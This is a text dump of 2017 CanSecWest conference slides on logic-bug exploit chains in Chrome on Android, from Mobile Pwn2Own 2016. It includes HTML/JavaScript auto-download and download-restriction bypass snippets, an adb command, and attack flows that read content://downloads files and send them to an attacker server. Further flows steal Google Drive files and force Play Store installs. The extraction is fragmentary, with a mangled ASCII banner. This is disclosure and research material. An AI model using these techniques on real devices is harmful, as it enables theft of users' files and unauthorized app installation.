Logic Bug Hunting in Chrome on Android
CanSecWest 17 March, 2017
Logic Bug Hunting in Chrome on Android CanSecWest 17 March, 2017 - - PowerPoint PPT Presentation
Logic Bug Hunting in Chrome on Android CanSecWest 17 March, 2017 Agenda Fuzzing and memory corruptions Introduction to logic flaws General approach to hunting logic bugs Application in Mobile Pwn2Own 2016 Exploit improvement
Logic Bug Hunting in Chrome on Android
CanSecWest 17 March, 2017
Agenda
Tindroductions
Fuzzing and Pwn2Own
Android Mitigations
Memory Corruptions vs. Logic Flaws
We Love Logic Bugs
Q: How many bugs do you have in your chain? A: We abuse one and a half features. Q: What tool did you use to find that bug? A: Notepad.
It’s not just us…
It’s not just us…
It’s not just us…
It’s not just us…
Identifying Logic Flaws
Mobile Pwn2Own 2016
Mobile Pwn2Own 2016
Mobile Pwn2Own 2016
Mobile Pwn2Own 2016
“All entries must compromise the devices by browsing to web content […] or by viewing/receiving an MMS/SMS message.”
http://zerodayinitiative.com/MobilePwn2Own2016Rules.html
Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000
Where do we start?
Google Admin
Google Admin
<activity android:name="com.google.android.apps. enterprise.cpanel.activities.ResetPinActivity"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:host="localhost" android:scheme="http"/> </intent-filter> </activity>
AndroidManifest.xml
Google Admin
public void onCreate(Bundle arg3) { this.c = this.getIntent().getExtras().getString("setup_url"); this.b.loadUrl(this.c); // ... }
ResetPinActivity.java
Google Admin
adb shell am start \ –d http://localhost/foo \
Google Admin
Chrome
file:///tmp/foo.html
Uncaught DOMException: Blocked a frame with origin "null" from accessing a cross-origin frame. <HTML><BODY> <IFRAME SRC="file:///tmp/foo.html" id="foo"
</IFRAME> </BODY></HTML>
Google Admin
Chrome on Android API 17
file:///sdcard/foo.html
Yep, that’s fine! <HTML><BODY> <IFRAME SRC="file:///sdcard/foo.html" id="foo"
</IFRAME> </BODY></HTML>
Google Admin
after a small delay
Google Admin’s sandbox
Same-Origin Policy
SOP in Chrome for Android
HTTP / HTTPS Scheme, domain and port number must match. FILE Full file path for origin until API 23. Starting with API 24, all origins are now NULL. CONTENT Scheme, domain and port number must match. DATA All origins are NULL.
Jumping Origins
HTTP / HTTPS FILE CONTENT DATA HTTP / HTTPS
✓ ✘ ✓ ✓
FILE
✓ ✓ ✓ ✓
CONTENT
✓ ✘ ✓ ✓
DATA
✓ ✘ ✓ ✓
Destination Scheme Source Scheme
Android Content Providers
Android Download Manager
content://downloads/my_downloads/45 content://downloads/my_downloads/46 content://downloads/my_downloads/102
Automatic File Downloads
Automatic File Downloads
<a id='foo' href='evil.html' download> link </a> <script> document.getElementById('foo').click(); </script>
Exploit #1 – Stealing Downloaded Files
GET /index.html index.html
Attacker’s Web Server Victim’s Browser Android Download Manager
Exploit #1 – Stealing Downloaded Files
GET /index.html index.html
https://attacker.com/index.html Attacker’s Web Server Victim’s Browser Android Download Manager
Exploit #1 – Stealing Downloaded Files
GET /index.html index.html GET /evil.html evil.html (download) evil.html (download)
Attacker’s Web Server Victim’s Browser Android Download Manager
Exploit #1 – Stealing Downloaded Files
GET /index.html index.html GET /evil.html evil.html (download) evil.html (download)
https://attacker.com/index.html Attacker’s Web Server Victim’s Browser Android Download Manager
Exploit #1 – Stealing Downloaded Files
GET /index.html index.html GET /evil.html evil.html (download) evil.html (download) GET my_downloads/54 evil.html
Attacker’s Web Server Victim’s Browser Android Download Manager
Exploit #1 – Stealing Downloaded Files
GET /index.html index.html GET /evil.html evil.html (download) evil.html (download) GET my_downloads/54 evil.html
content://downloads/my_downloads/54 Attacker’s Web Server Victim’s Browser Android Download Manager
Exploit #1 – Stealing Downloaded Files
GET /index.html index.html GET /evil.html evil.html (download) evil.html (download) GET my_downloads/54 evil.html GET my_downloads/53 secrets.pdf secrets.pdf
Attacker’s Web Server Victim’s Browser Android Download Manager
Mobile Pwn2Own 2016
Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000
Exploit Enhancement
<a id='foo' href='https://drive.google.com/my_drive.html' download> link </a> <script> document.getElementById('foo').click(); </script>
Multiple File Downloads
Multiple File Downloads Restriction Bypass
page1.html page2.html
<meta http-equiv="refresh" content="0; url=page2.html" />
<script> window.history.back(); </script>
evil.html (download)
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager
evil.html (download)
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54
evil.html (download) my_drive.html (download) GET /my_drive.html
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager
evil.html (download) my_drive.html (download) GET /my_drive.html
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download)
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager
evil.html (download) my_drive.html (download) GET /my_drive.html
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html GET /bounce.html
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager https://attacker.com/bounce.html
evil.html (download) my_drive.html (download) GET /my_drive.html
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html history.back(); GET /bounce.html
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54
evil.html (download) my_drive.html (download) GET /my_drive.html
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html GET /img?id=12345678 img_foo.jpg (download) history.back(); GET /bounce.html
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager
evil.html (download) my_drive.html (download) GET /my_drive.html
Exploit #2 – Stealing Google Drive Files
GET my_downloads/54 evil.html GET my_downloads/55 my_drive.html my_drive.html (download) bounce.html GET /img?id=12345678 img_foo.jpg (download) POST /exfiltrate history.back(); img_foo.jpg (download) GET my_downloads/56 my_drive.html GET /bounce.html
Attacker’s Web Server Google Drive Web Server Victim’s Browser Android Download Manager
LL LLL L T TTT T TTT TTT LL LLL L T TTT T TTT TTT LL LLL L T TTT T TTT TTT mM mMMM MMm. m.mMM MMm. AAAAa AAAAa. . LL LLL L .cC cCCCC CCc .oOOo
. NNN NNNNn Nn. . T TTTT TTTT TT .eEEe eEEe. . NN NNNN NNNn Nn. TT TTTT TTTT MM MMM M "M "MMM M "MMm Mm "AA AAa LL LLL L cCC CCC"
""OOo Oo NNN NN "NNn NNn TT TTT T eE eEE EEe EEe NN NNN N "NN NNn TT TTT T MMM MMM MM MMM MMM MM .aA aAAA AAAA AAA LL LLL L === ==== === = CCC CC O OOO OO OOO OO NNN NN NNN NNN TT TTT T E EEEE EEEE EEEE EE NN NNN N NN NNN TT TTT T MMM MMM MM MMM MMM MM AAA AAA AA AAA LL LLL L CCC CCc.
..OOo Oo NNN NN NNN NNN tT tTTt Tt. . EE EEe. . NN NNN N NN NNN TTTt TTTt. . MMM MMM MM MMM MMM MM "Y "YAA AAAA AAAA A LL LLL L "CC CCCCC CCc "O "OOO OOO" " N NNN NN NNN NNN "tTTT tTTT "EE EEEE EEE E NN NNN N NN NNN "T "TTT TTT
Drive Files Download Demo
Mobile Pwn2Own 2016
Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000
Bettererer Exploit
Exploit #3 – Install APK from Play Store
https://play.google.com/store
sa
https://play.google.com/settings
function(){window._uc='[\x22Kx1pa-cDQOe_1C6Q0J2ixtQT22:1477462478689\x22, \x220\x22, \x22en\x22,\x22GB\x22, <tr class="excPab-rAew03" id="g1921daaeef107b4" data-device-id=" g1921daaeef107b4" data-nickname="" data-visible="true" jsname="fscTHd"> id=com.mylittlepony.game&device=g1921daaeef107b4&token=Ka1pa- dDQOe_1C6Q0J2ixtQT32:1477462478689 https://play.google.com/store/install?authuser=0
Exploit #3 – Install APK from Play Store
evil.html
Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager
Exploit #3 – Install APK from Play Store
evil.html
Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54
store.html (download) GET /store.html
Exploit #3 – Install APK from Play Store
evil.html store.html (download) GET /bounce.html bounce.html
Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager https://attacker.com/bounce.html
store.html (download) GET /store.html
Exploit #3 – Install APK from Play Store
evil.html store.html (download) history.back(); GET /bounce.html bounce.html
Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager content://downloads/my_downloads/54
store.html (download) GET /store.html GET my_downloads/55 store.html settings.html (download) GET /settings.html
Exploit #3 – Install APK from Play Store
evil.html store.html (download) history.back(); settings.html (download) GET /bounce.html bounce.html
Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager
store.html (download) GET /store.html GET my_downloads/55 store.html POST /install settings.html (download) GET /settings.html
Exploit #3 – Install APK from Play Store
evil.html store.html (download) history.back(); settings.html (download) GET /bounce.html bounce.html
Attacker’s Web Server Google Play Web Server Victim’s Browser Android Download Manager
GET my_downloads/56 settings.html
Mobile Pwn2Own 2016
Category Phone Price (USD) Obtaining Sensitive Information Apple iPhone $50,000 Google Nexus $50,000 Samsung Galaxy $35,000 Install Rogue Application Apple iPhone $125,000 Google Nexus $100,000 Samsung Galaxy $60,000 Force Phone Unlock Apple iPhone $250,000
Keep calm and… aw, snap!
Where did this bug feature come from?
Exploit Improvement
Changing Focus
Toasts
Fasterer and Stealthierer
Going Further
screen is activated
How realistic is this?
700 750 800 850 900 950 1000 1050 1100 MinimisedHow realistic is this?
700 750 800 850 900 950 1000 1050 1100 Minimised LockedThe Patch
Conclusion